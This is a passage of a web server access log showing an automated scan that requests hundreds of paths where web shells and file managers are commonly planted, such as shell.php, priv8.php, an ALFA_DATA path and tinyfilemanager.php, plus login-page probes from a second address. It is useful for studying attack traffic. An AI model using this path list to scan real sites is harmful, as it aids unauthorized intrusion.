- [29/Apr/2025:00:16:02 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:03 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:03 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:04 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:05 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:05 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:06 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:06 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:07 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:07 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:08 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:09 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:09 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:10 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:10 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:11 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:12 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:12 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:13 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:13 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:14 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:14 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:15 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:15 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 64.49.36.203 - - [29/Apr/2025:00:16:16 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "http://designpitara.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:16:16 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:17 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:17 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:18 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:18 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:19 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:19 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:20 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:20 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:21 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:21 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:22 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:22 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:23 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 64.49.36.203 - - [29/Apr/2025:00:16:23 -0400] "GET /administrator/ HTTP/1.1" 301 795 "http://designpitara.com/administrator/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" 13.94.89.4 - - [29/Apr/2025:00:16:24 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:24 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:25 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:25 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:26 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:26 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:27 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:27 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:28 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:28 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:29 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:30 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:30 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:31 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:31 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:32 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:32 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:33 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:33 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:34 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:35 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:35 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:36 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:36 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:37 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:37 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:38 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:38 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:39 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:39 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:40 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:41 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:41 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:42 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:42 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:43 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:43 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:44 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:44 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:45 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:45 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:46 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:47 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:47 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:48 -0400] "GET /nzouv.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:48 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:49 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:49 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:50 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:50 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:51 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:51 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:52 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:53 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:53 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:54 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:54 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:55 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:55 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:56 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:56 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:57 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:57 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:58 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:59 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:59 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:00 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:00 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:01 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:01 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:02 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:02 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:03 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:04 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:04 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:05 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:05 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:06 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:07 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:07 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:08 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:08 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:09 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:09 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:10 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:10 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:11 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:11 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:12 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:12 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:13 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:14 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:14 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:15 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:15 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:16 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:16 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:17 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:17 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:18 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:19 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:19 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:20 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:21 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:21 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:22 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:23 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:23 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:24 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:24 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:25 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:26 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:26 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:27 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:27 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:28 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:29 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:29 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:30 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:30 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:31 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:31 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:32 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:33 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:33 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:34 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:34 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:35 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:35 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:36 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:36 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:37 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:38 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:38 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:39 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:39 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:40 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:40 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:41 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:41 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:42 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:43 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:43 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:44 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:44 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:45 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:45 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:46 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:46 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:47 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:48 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:48 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:49 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:49 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:50 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:50 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:51 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:51 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:52 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:53 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:53 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:54 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:54 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:55 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:55 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:56 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:56 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:57 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:57 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:58 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:58 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:59 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:17:59 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:00 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:01 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:01 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:02 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:03 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:03 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:04 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:04 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:05 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:05 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:06 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:07 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:07 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:08 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:08 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:09 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:09 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:10 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:10 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:11 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:11 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:12 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:13 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:13 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:14 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:14 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:18:15 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 